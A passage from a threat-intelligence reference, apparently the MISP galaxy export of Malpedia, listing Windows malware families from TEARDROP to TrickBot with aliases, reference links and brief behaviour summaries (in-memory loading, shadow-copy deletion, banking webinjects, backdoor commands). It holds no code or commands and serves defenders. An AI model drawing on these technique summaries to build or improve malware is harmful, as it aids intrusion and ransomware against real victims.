https://malpedia.caad.fkie.fraunhofer.de/details/win.teamspy
https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/
https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent
https://blog.avast.com/a-deeper-look-into-malware-abusing-teamviewer
https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging

TEARDROP

TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file "gracious_truth.jpg", which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.

The tag is: *misp-galaxy:malpedia="TEARDROP"*

TEARDROP is also known as:

Table 3227. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop
https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack
https://www.brighttalk.com/webcast/7451/462719
https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf
https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware
https://www.mandiant.com/resources/unc2452-merged-into-apt29

https://twitter.com/craiu/status/1339954817247158272
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html
https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://github.com/fireeye/sunburst_countermeasures
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
https://unit42.paloaltonetworks.com/atoms/solarphoenix/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline
https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds
https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate
https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more
https://www.sans.org/webcasts/contrarian-view-solarwinds-119515
https://www.youtube.com/watch?v=LA-XE5Jy2kU
https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader
https://www.youtube.com/watch?v=GfbxHy6xnbA
https://twitter.com/TheEnergyStory/status/1346096298311741440
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://twitter.com/TheEnergyStory/status/1342041055563313152
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b

TefoSteal

The tag is: *misp-galaxy:malpedia="TefoSteal"*

TefoSteal is also known as:

Table 3228. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tefosteal
https://twitter.com/WDSecurity/status/1105990738993504256

TelAndExt

According to Check Point, this is a Telegram-focused infostealer (FTP / Delphi) used to target Iranian expats and dissidents.

The tag is: *misp-galaxy:malpedia="TelAndExt"*

TelAndExt is also known as:

Table 3229. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telandext
https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/

TelB

According to Check Point, this is a Telegram-focused infostealer (SOAP / Delphi) used to target Iranian expats and dissidents.

The tag is: *misp-galaxy:malpedia="TelB"*

TelB is also known as:

Table 3230. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telb
https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/

TeleBot

The tag is: *misp-galaxy:malpedia="TeleBot"*

TeleBot is also known as:

Table 3231. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot

http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine
https://www.secureworks.com/research/threat-profiles/iron-viking

TeleDoor

The tag is: *misp-galaxy:malpedia="TeleDoor"*

TeleDoor is also known as:

Table 3232. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor
http://blog.talosintelligence.com/2017/07/the-medoc-connection.html
https://www.secureworks.com/research/threat-profiles/iron-viking
https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/

TelegramGrabber

The tag is: *misp-galaxy:malpedia="TelegramGrabber"*

TelegramGrabber is also known as:

Table 3233. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telegram_grabber
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/old-cat-new-tricks.html

TellYouThePass

The tag is: *misp-galaxy:malpedia="TellYouThePass"*

TellYouThePass is also known as:

Table 3234. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://www.crowdstrike.com/blog/tellyouthepass-ransomware-analysis-reveals-modern-reinterpretation-using-golang/

Tempedreve

The tag is: *misp-galaxy:malpedia="Tempedreve"*

Tempedreve is also known as:

Table 3235. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve

Terminator RAT

The tag is: *misp-galaxy:malpedia="Terminator RAT"*

Terminator RAT is also known as:

- Fakem RAT

Table 3236. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat
https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf
https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf
https://documents.trendmicro.com/assets/wp/wp-fakem-rat.pdf
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html

Termite

The tag is: *misp-galaxy:malpedia="Termite"*

Termite is also known as:

Table 3237. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.termite
https://www.alienvault.com/blogs/labs-research/internet-of-termites
https://www.mandiant.com/resources/evolution-of-fin7

https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/

TerraPreter

The tag is: *misp-galaxy:malpedia="TerraPreter"*

TerraPreter is also known as:

Table 3238. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terrapreter
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

TerraLoader

The tag is: *misp-galaxy:malpedia="TerraLoader"*

TerraLoader is also known as:

Table 3239. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_loader
https://medium.com/walmartglobaltech/a-re-look-at-the-terraloader-dropper-dll-e5947ad6e244
https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader—congrats-you-have-a-new-fake-job-

TerraRecon

According to QuoINT TerraRecon is a reconnaissance tool, looking for a specific piece of hardware and software targeting retail and payment services sectors. Attributed to Golden Chickens.

The tag is: *misp-galaxy:malpedia="TerraRecon"*

TerraRecon is also known as:

- Taurus Loader Reconnaissance Module

Table 3240. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_recon
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9

TerraStealer

According to QuoINT, TerraStealer (also known as SONE or StealerOne) is a generic reconnaissance tool, targeting for example email clients, web browsers, and file transfer utilities. Attributed to Golden Chickens.

The tag is: *misp-galaxy:malpedia="TerraStealer"*

TerraStealer is also known as:

- SONE
- StealerOne
- Taurus Loader Stealer Module

Table 3241. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer
https://github.com/eset/malware-ioc/tree/master/evilnum
https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/
https://twitter.com/3xp0rtblog/status/1275746149719252992
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

TerraTV

TerraTV is a custom DLL designed to hijack legit TeamViewer applications. It was discovered and documented by QuoINT. It has been attributed to Golden Chickens malware as a service group.

The tag is: *misp-galaxy:malpedia="TerraTV"*

TerraTV is also known as:

- Taurus Loader TeamViewer Module

Table 3242. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_tv
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9
https://blog.minerva-labs.com/taurus-user-guided-infection
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

TeslaCrypt

The tag is: *misp-galaxy:malpedia="TeslaCrypt"*

TeslaCrypt is also known as:

- cryptesla

Table 3243. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt
https://community.riskiq.com/article/30f22a00
https://blogs.cisco.com/security/talos/teslacrypt
https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/
https://blog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/
https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla
https://securelist.com/teslacrypt-2-0-disguised-as-cryptowall/71371/
https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/
https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack
https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf
https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html
https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/

TFlower

TFlower is a new ransomware targeting mostly corporate networks discovered in August, 2019. It is reportedly installed on networks by attackers after they gain access via RDP. TFlower displays a console showing activity being performed by the ransomware when it encrypts a machine, further indicating that this ransomware is triggered by the attacker post compromise, similar to Samsam/Samas in terms of TTP. Once encryption is started, the ransomware will conduct a status report to an apparently hard-coded C2. Shadow copies are deleted and the Windows 10 repair environment is disabled by this ransomware. This malware also will terminate any running Outlook.exe process so that the mail files can be encrypted. This ransomware does not add an extention to encrypted files, but prepends the marker "*tflower" and what may be the encrypted encryption key for the file to each affected file. Once encryption is completed, another status report is sent to the C2 server.

The tag is: *misp-galaxy:malpedia="TFlower"*

TFlower is also known as:

Table 3244. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower
https://cyber.gc.ca/en/alerts/tflower-ransomware-campaign
https://www.sygnia.co/mata-framework
https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/

Thanatos

The tag is: *misp-galaxy:malpedia="Thanatos"*

Thanatos is also known as:

- Alphabot

Table 3245. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos
https://www.proofpoint.com//us/threat-insight/post/Death-Comes-Calling-Thanatos-Alphabot-Trojan-Hits-Market

Thanatos Ransomware

The tag is: *misp-galaxy:malpedia="Thanatos Ransomware"*

Thanatos Ransomware is also known as:

Table 3246. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom
https://www.bleepingcomputer.com/news/security/thanatos-ransomware-decryptor-released-by-the-cisco-talos-group/
https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html

https://www.bleepingcomputer.com/news/security/thanatos-ransomware-is-first-to-use-bitcoin-cash-messes-up-encryption/

ThinMon

The tag is: *misp-galaxy:malpedia="ThinMon"*

ThinMon is also known as:

Table 3247. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thinmon
https://mp.weixin.qq.com/s/nyxZFXgrtm2-tBiV3-wiMg

ThreeByte

The tag is: *misp-galaxy:malpedia="ThreeByte"*

ThreeByte is also known as:

Table 3248. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

ThumbThief

The tag is: *misp-galaxy:malpedia="ThumbThief"*

ThumbThief is also known as:

Table 3249. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/

ThunderX

Ransomware.

The tag is: *misp-galaxy:malpedia="ThunderX"*

ThunderX is also known as:

- Ranzy Locker

Table 3250. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thunderx
https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/
https://www.bleepingcomputer.com/news/security/thunderx-ransomware-rebrands-as-ranzy-locker-adds-data-leak-site/
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.ic3.gov/Media/News/2021/211026.pdf
https://id-ransomware.blogspot.com/2020/08/thunderx-ransomware.html
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.mandiant.com/resources/chasing-avaddon-ransomware
https://www.picussecurity.com/resource/blog/a-detailed-walkthrough-of-ranzy-locker-ransomware-ttps

Thunker

The tag is: *misp-galaxy:malpedia="Thunker"*

Thunker is also known as:

Table 3251. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker

Tidepool

The tag is: *misp-galaxy:malpedia="Tidepool"*

Tidepool is also known as:

Table 3252. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

https://unit42.paloaltonetworks.com/atoms/shallowtaurus/
http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/

Tiger RAT

This is third stage backdoor mentioned in the Kaspersky blog, "Andariel evolves to target South Korea with ransomware". The third stage payload was created via the second stage payload, is interactively executed in the operation and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The malware decrypts the embedded payload at runtime. It uses an embedded 16-byte XOR key to decrypt the base64 encoded payload. The decrypted payload is another portable executable file that runs in memory. Before getting decrypted with a hardcoded XOR key, the backdoor also checks for sandbox environment. The backdoor has some code overlap with a know malware family PEBBLEDASH, attributed to Lazarus/LABYRINTH CHOLLIMA.

The tag is: *misp-galaxy:malpedia="Tiger RAT"*

Tiger RAT is also known as:

Table 3253. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
https://www.krcert.or.kr/filedownload.do?attach_file_seq=3277&attach_file_id=EpF3277.pdf
https://www.brighttalk.com/webcast/18282/493986
https://threatray.com/wp-content/uploads/2021/12/threatray-establishing-the-tigerrat-and-tigerdownloader-malware-families.pdf
https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html
https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html

tildeb

Standalone implant. Potentially tied to a framework called PATROLWAGON.

The tag is: *misp-galaxy:malpedia="tildeb"*

tildeb is also known as:

Table 3254. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb

https://documents.trendmicro.com/assets/tech-brief-tildeb-analyzing-the-18-year-old-implant-from-the-shadow-brokers-leak.pdf

Tinba

F-Secure notes that TinyBanker or short Tinba is usually distributed through malvertising (advertising content that leads the user to sites hosting malicious threats), exploit kits and spam email campaigns. According to news reports, Tinba has been found targeting bank customers in the United States and Europe.

If Tinba successfully infects a device, it can steal banking and personal information through webinjects. To do this, the malware monitors the user's browser activity and if specific banking portals are visited, Tinba injects code to present the victim with fake web forms designed to mimic the legitimate web site. The malware then tricks them into entering their personal information, log-in credentials, etc in the legitimate-looking page.

Tinba may also display socially-engineered messages to lure or pressure the user into entering their information on the fake page; for example, a message may be shown which attempts to convince the victim that funds were accidentally deposited to his account and must be refunded immediately.

The tag is: *misp-galaxy:malpedia="Tinba"*

Tinba is also known as:

- Illi
- TinyBanker
- Zusy

Table 3255. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf
http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html
http://contagiodump.blogspot.com/2012/06/amazon.html
http://www.theregister.co.uk/2012/06/04/small_banking_trojan/
https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant
https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
https://securityintelligence.com/tinba-trojan-sets-its-sights-on-romania/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/
https://adalogics.com/blog/the-state-of-advanced-code-injections
http://garage4hackers.com/entry.php?b=3086
https://blogs.blackberry.com/en/2019/03/blackberry-cylance-vs-tinba-banking-trojan

TinyLoader

The tag is: *misp-galaxy:malpedia="TinyLoader"*

TinyLoader is also known as:

Table 3256. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader
https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.forcepoint.com/sites/default/files/resources/files/report-tinypos-analysis-en.pdf
https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak

TinyMet

TinyMet is a meterpreter stager.

The tag is: *misp-galaxy:malpedia="TinyMet"*

TinyMet is also known as:

- TiniMet

Table 3257. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet
https://twitter.com/VK_Intel/status/1273292957429510150
https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/
https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/

https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-solarwinds-serv-u-exploit-campaign/
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://github.com/SherifEldeeb/TinyMet
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do

TinyNuke

TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program's author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.

The tag is: *misp-galaxy:malpedia="TinyNuke"*

TinyNuke is also known as:

- MicroBankingTrojan
- Nuclear Bot
- NukeBot
- Xbot

Table 3258. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke
https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html
https://krebsonsecurity.com/tag/nuclear-bot/
https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://asec.ahnlab.com/en/27346/
https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet
https://asec.ahnlab.com/en/32781/
https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/

https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/
https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702

TinyTyphon

The tag is: *misp-galaxy:malpedia="TinyTyphon"*

TinyTyphon is also known as:

Table 3259. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign

TinyZbot

The tag is: *misp-galaxy:malpedia="TinyZbot"*

TinyZbot is also known as:

Table 3260. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten

TinyTurla

Talos describes this as a malware family with very scoped functionality and thus a small code footprint, likely used as a second chance backdoor.

The tag is: *misp-galaxy:malpedia="TinyTurla"*

TinyTurla is also known as:

Table 3261. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tiny_turla

https://blog.talosintelligence.com/2021/09/tinyturla.html
https://cybergeeks.tech/a-step-by-step-analysis-of-the-russian-apt-turla-backdoor-called-tinyturla/

Tiop

The tag is: *misp-galaxy:malpedia="Tiop"*

Tiop is also known as:

Table 3262. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop

Tmanger

The tag is: *misp-galaxy:malpedia="Tmanger"*

Tmanger is also known as:

- LuckyBack

Table 3263. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger
https://insight-jp.nttsecurity.com/post/102gi9b/pandas-new-arsenal-part-1-tmanger
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia
https://vblocalhost.com/uploads/VB2020-20.pdf
https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/
https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop
https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager
https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
https://www.youtube.com/watch?v=1WfPlgtfWnQ
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/

Tofsee

The tag is: *misp-galaxy:malpedia="Tofsee"*

Tofsee is also known as:

- Gheg

Table 3264. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
https://www.dragos.com/blog/investigating-the-watering-hole-linked-to-the-oldsmar-water-treatment-facility-breach/
https://www.cert.pl/en/news/single/tofsee-en/
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/
https://intel471.com/blog/privateloader-malware
https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/

TokyoX

The tag is: *misp-galaxy:malpedia="TokyoX"*

TokyoX is also known as:

Table 3265. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox
https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact/
https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact-part-2/

tomiris

The tag is: *misp-galaxy:malpedia="tomiris"*

tomiris is also known as:

Table 3266. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tomiris
https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/

TONEDEAF

TONEDEAF is a backdoor that communicates with Command and Control servers using HTTP or DNS. Supported commands include system information collection, file upload, file download, and arbitrary shell command execution. When executed, this variant of TONEDEAF wrote encrypted data to two temporary files – temp.txt and temp2.txt – within the same directory of its execution.

The tag is: *misp-galaxy:malpedia="TONEDEAF"*

TONEDEAF is also known as:

Table 3267. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf
https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/
https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/

Tonnerre

The tag is: *misp-galaxy:malpedia="Tonnerre"*

Tonnerre is also known as:

Table 3268. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tonnerre
https://research.checkpoint.com/2021/after-lightning-comes-thunder/
https://download.bitdefender.com/resources/files/News/CaseStudies/study/393/Bitdefender-Whitepaper-Iranian-APT-Makes-a-Comeback-with-Thunder-and-Lightning-Backdoor-and-Espionage-Combo.pdf

Torisma

The tag is: *misp-galaxy:malpedia="Torisma"*

Torisma is also known as:

Table 3269. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/
https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf

http://blog.nsfocus.net/stumbzarus-apt-lazarus/

TorrentLocker

The tag is: *misp-galaxy:malpedia="TorrentLocker"*

TorrentLocker is also known as:

- Teerac

Table 3270. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/

ToxicEye

The tag is: *misp-galaxy:malpedia="ToxicEye"*

ToxicEye is also known as:

Table 3271. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.toxiceye
https://www.bollyinside.com/articles/how-rat-malware-is-using-telegram-to-evade-detection/
https://blog.checkpoint.com/2021/04/22/turning-telegram-toxic-new-toxiceye-rat-is-the-latest-to-use-telegram-for-command-control/

tRat

tRat is a modular RAT written in Delphi and has appeared in campaigns in September and October of 2018.

The tag is: *misp-galaxy:malpedia="tRat"*

tRat is also known as:

Table 3272. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trat

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.gdatasoftware.com/blog/trat-control-via-smartphone
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

TreasureHunter

The tag is: *misp-galaxy:malpedia="TreasureHunter"*

TreasureHunter is also known as:

- huntpos

Table 3273. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter
http://adelmas.com/blog/treasurehunter.php
https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/
https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html

TrickBot

A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.

- Q4 2016 - Detected in wild Oct 2016 - 1st Report 2017 - Trickbot primarily uses Necurs as vehicle for installs. Jan 2018 - Use XMRIG (Monero) miner Feb 2018 - Theft Bitcoin Mar 2018 - Unfinished ransomware module Q3/4 2018 - Trickbot starts being spread through Emotet.

